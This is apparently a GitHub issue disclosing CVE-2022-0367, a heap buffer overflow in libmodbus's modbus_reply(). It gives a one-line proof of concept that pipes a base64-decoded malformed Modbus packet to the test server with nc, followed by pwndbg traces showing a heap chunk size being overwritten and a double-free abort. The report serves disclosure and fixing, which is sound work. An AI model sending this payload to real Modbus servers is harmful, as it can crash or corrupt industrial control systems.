Headline
CVE-2022-0367: Heap-based Buffer Overflow in modbus_reply · Issue #614 · stephane/libmodbus
A heap-based buffer overflow flaw was found in libmodbus in function modbus_reply() in src/modbus.c.
libmodbus version
ebc4f47
OS and/or distribution
Ubuntu 20.04 focal
Environment
,AMD EPYC 7742 64-Core @ 16x 2.25GHz
Description
Heap-based Buffer Overflow in _modbus_receive_msg
Expected behaviour
no crash.
Actual behaviour
double free or corruption (!prev)
Steps to reproduce the behavior (commands or source code)
libmodbus/tests/unit-test-server.c
./unit-test-server
echo "A90AAAAN/xcBYgABAIQAAQLXEQ==" | base64 -d | nc 127.0.0.1 1502
pwndbg> c
Continuing.
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
Breakpoint 3, modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
979 i < mapping_address_write + nb_write; i++, j += 2) {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
*RAX 0x8
*RBX 0x7
*RCX 0x555555559430 ◂— 0x13000000025 /* '%' */
*RDX 0x2
*RDI 0x7fffffffde64 ◂— 0x17000000ff
*RSI 0x7fffffffde70 ◂— 0x17ff7fff0000dd03
*R8 0x0
*R9 0x0
*R10 0x2
*R11 0xffffff24
*R12 0xff
*R13 0x5555555592a0 ◂— 0x4000000ff
*R14 0x9
*R15 0x7fffffffde70 ◂— 0x17ff7fff0000dd03
*RBP 0x555555559320 ◂— 0x17ff0d000000dd03
*RSP 0x7fffffffde20 ◂— 0x3
*RIP 0x7ffff7fbda62 (modbus_reply+1250) ◂— jle 0x7ffff7fbdaa1
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x7ffff7fbda62 <modbus_reply+1250> jle modbus_reply+1313 <modbus_reply+1313>
0x7ffff7fbda64 <modbus_reply+1252> mov r8d, dword ptr [rsp + 0x34]
0x7ffff7fbda69 <modbus_reply+1257> movsxd rdi, r11d
0x7ffff7fbda6c <modbus_reply+1260> lea rdx, [rbx + 2]
0x7ffff7fbda70 <modbus_reply+1264> add rdi, rdi
0x7ffff7fbda73 <modbus_reply+1267> sub rdi, rbx
0x7ffff7fbda76 <modbus_reply+1270> lea rsi, [rdx + r8*2]
0x7ffff7fbda7a <modbus_reply+1274> add rdi, qword ptr [rcx + 0x38]
0x7ffff7fbda7e <modbus_reply+1278> jmp modbus_reply+1284 <modbus_reply+1284>
↓
0x7ffff7fbda84 <modbus_reply+1284> movzx eax, byte ptr [rbp + rbx + 0xa]
0x7ffff7fbda89 <modbus_reply+1289> movzx r8d, byte ptr [rbp + rbx + 0xb]
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
974 rsp[rsp_length++] = nb << 1;
975
976 /* Write first.
977 10 and 11 are the offset of the first values to write */
978 for (i = mapping_address_write, j = 10;
► 979 i < mapping_address_write + nb_write; i++, j += 2) {
980 mb_mapping->tab_registers[i] =
981 (req[offset + j] << 8) + req[offset + j + 1];
982 }
983
984 /* and read the data for the response */
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde20 ◂— 0x3
01:0008│ 0x7fffffffde28 ◂— 0x5555ffffff25
02:0010│ 0x7fffffffde30 ◂— 0x7fff00000008
03:0018│ 0x7fffffffde38 ◂— 0x8
04:0020│ 0x7fffffffde40 ◂— 0x200000001
05:0028│ 0x7fffffffde48 —▸ 0x555555559430 ◂— 0x13000000025 /* '%' */
06:0030│ 0x7fffffffde50 ◂— 0xffffff24
07:0038│ 0x7fffffffde58 ◂— 0x1300000000
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x7ffff7fbda62 modbus_reply+1250
f 1 0x555555555734 main+692
f 2 0x7ffff7dd80b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
#1 0x0000555555555734 in main (argc=argc@entry=1, argv=argv@entry=0x7fffffffe128) at unit-test-server.c:183
#2 0x00007ffff7dd80b3 in __libc_start_main (main=0x555555555480 <main>, argc=1, argv=0x7fffffffe128, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe118) at ../csu/libc-start.c:308
#3 0x0000555555555a0e in _start ()
pwndbg> x/10gx 0x555555559310-0x10
0x555555559300: 0x000005de00000000 0x2e302e302e373231
0x555555559310: 0x0000000000000031 0x0000000000000111
0x555555559320: 0x17ff0d000000dd03 0x0100840001006201
0x555555559330: 0x000000000011d702 0x0000000000000000
0x555555559340: 0x0000000000000000 0x0000000000000000
pwndbg> c
Continuing.
Hardware watchpoint 2: *0x555555559318
Old value = 273
New value = 55057
modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
979 i < mapping_address_write + nb_write; i++, j += 2) {
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
*RAX 0xd711
RBX 0x7
RCX 0x555555559430 ◂— 0x13000000025 /* '%' */
*RDX 0x9
*RDI 0x555555559311 ◂— 0x1100000000000000
*RSI 0x9
*R8 0x11
R9 0x0
R10 0x2
R11 0xffffff24
R12 0xff
R13 0x5555555592a0 ◂— 0x4000000ff
R14 0x9
R15 0x7fffffffde70 ◂— 0x17ff7fff0000dd03
RBP 0x555555559320 ◂— 0x17ff0d000000dd03
RSP 0x7fffffffde20 ◂— 0x3
*RIP 0x7ffff7fbda99 (modbus_reply+1305) ◂— mov rbx, rdx
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
0x7ffff7fbda84 <modbus_reply+1284> movzx eax, byte ptr [rbp + rbx + 0xa]
0x7ffff7fbda89 <modbus_reply+1289> movzx r8d, byte ptr [rbp + rbx + 0xb]
0x7ffff7fbda8f <modbus_reply+1295> shl eax, 8
0x7ffff7fbda92 <modbus_reply+1298> add eax, r8d
0x7ffff7fbda95 <modbus_reply+1301> mov word ptr [rdi + rbx], ax
► 0x7ffff7fbda99 <modbus_reply+1305> mov rbx, rdx
0x7ffff7fbda9c <modbus_reply+1308> cmp rsi, rdx
0x7ffff7fbda9f <modbus_reply+1311> jne modbus_reply+1280 <modbus_reply+1280>
0x7ffff7fbdaa1 <modbus_reply+1313> cmp dword ptr [rsp], r10d
0x7ffff7fbdaa5 <modbus_reply+1317> jle modbus_reply+239 <modbus_reply+239>
0x7ffff7fbdaab <modbus_reply+1323> mov rdx, qword ptr [rcx + 0x38]
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
974 rsp[rsp_length++] = nb << 1;
975
976 /* Write first.
977 10 and 11 are the offset of the first values to write */
978 for (i = mapping_address_write, j = 10;
► 979 i < mapping_address_write + nb_write; i++, j += 2) {
980 mb_mapping->tab_registers[i] =
981 (req[offset + j] << 8) + req[offset + j + 1];
982 }
983
984 /* and read the data for the response */
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde20 ◂— 0x3
01:0008│ 0x7fffffffde28 ◂— 0x5555ffffff25
02:0010│ 0x7fffffffde30 ◂— 0x7fff00000008
03:0018│ 0x7fffffffde38 ◂— 0x8
04:0020│ 0x7fffffffde40 ◂— 0x200000001
05:0028│ 0x7fffffffde48 —▸ 0x555555559430 ◂— 0x13000000025 /* '%' */
06:0030│ 0x7fffffffde50 ◂— 0xffffff24
07:0038│ 0x7fffffffde58 ◂— 0x1300000000
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x7ffff7fbda99 modbus_reply+1305
f 1 0x555555555734 main+692
f 2 0x7ffff7dd80b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10gx 0x555555559310-0x10
0x555555559300: 0x000005de00000000 0x2e302e302e373231
0x555555559310: 0x0000000000000031 0x000000000000d711
0x555555559320: 0x17ff0d000000dd03 0x0100840001006201
0x555555559330: 0x000000000011d702 0x0000000000000000
0x555555559340: 0x0000000000000000 0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x61
Allocated chunk | PREV_INUSE
Addr: 0x5555555592f0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555555559310
Size: 0xd711
Allocated chunk
Addr: 0x555555566a20
Size: 0x00
then, ctrl+c close the nc.
pwndbg> c
Continuing.
[03][DD][00][00][00][05][FF][17][02][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
Quit the loop: Connection reset by peer
double free or corruption (!prev)
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
*RAX 0x0
*RBX 0x7ffff7dae740 ◂— 0x7ffff7dae740
*RCX 0x7ffff7df718b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
*RDX 0x0
*RDI 0x2
*RSI 0x7fffffffdbd0 ◂— 0x0
*R8 0x0
*R9 0x7fffffffdbd0 ◂— 0x0
*R10 0x8
*R11 0x246
*R12 0x7fffffffde40 ◂— 0x2
*R13 0x10
*R14 0x7ffff7ffb000 ◂— 0x62756f6400001000
*R15 0x1
*RBP 0x7fffffffdf20 —▸ 0x7ffff7f9cb80 (main_arena) ◂— 0x0
*RSP 0x7fffffffdbd0 ◂— 0x0
*RIP 0x7ffff7df718b (raise+203) ◂— mov rax, qword ptr [rsp + 0x108]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x7ffff7df718b <raise+203> mov rax, qword ptr [rsp + 0x108]
0x7ffff7df7193 <raise+211> xor rax, qword ptr fs:[0x28]
0x7ffff7df719c <raise+220> jne raise+260 <raise+260>
↓
0x7ffff7df71c4 <raise+260> call __stack_chk_fail <__stack_chk_fail>
0x7ffff7df71c9 nop dword ptr [rax]
0x7ffff7df71d0 <killpg> endbr64
0x7ffff7df71d4 <killpg+4> test edi, edi
0x7ffff7df71d6 <killpg+6> js killpg+16 <killpg+16>
0x7ffff7df71d8 <killpg+8> neg edi
0x7ffff7df71da <killpg+10> jmp kill <kill>
0x7ffff7df71df <killpg+15> nop
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsi r9 rsp 0x7fffffffdbd0 ◂— 0x0
01:0008│ 0x7fffffffdbd8 ◂— 0x0
02:0010│ 0x7fffffffdbe0 ◂— 0x2f2f2f2f2f2f2f2f ('////////')
03:0018│ 0x7fffffffdbe8 —▸ 0x7ffff7dc61e0 ◂— 0x10001200001694
04:0020│ 0x7fffffffdbf0 —▸ 0x7fffffffdf90 —▸ 0x5555555592a0 ◂— 0x4000000ff
05:0028│ 0x7fffffffdbf8 —▸ 0x7ffff7fe7c2e ◂— mov r11, rax
06:0030│ 0x7fffffffdc00 ◂— 0x0
07:0038│ 0x7fffffffdc08 —▸ 0x7ffff7ec2987 (close+23) ◂— cmp rax, -0x1000 /* 'H=' */
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x7ffff7df718b raise+203
f 1 0x7ffff7dd6859 abort+299
f 2 0x7ffff7e413ee __libc_message+670
f 3 0x7ffff7e4947c
f 4 0x7ffff7e4b12c _int_free+1900
f 5 0x555555555783 main+771
f 6 0x7ffff7dd80b3 __libc_start_main+243
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
libmodbus output with debug mode enabled
./unit-test-server
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
[03][DD][00][00][00][05][FF][17][02][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
Quit the loop: Connection reset by peer
double free or corruption (!prev)
[1] 3966417 abort ./unit-test-server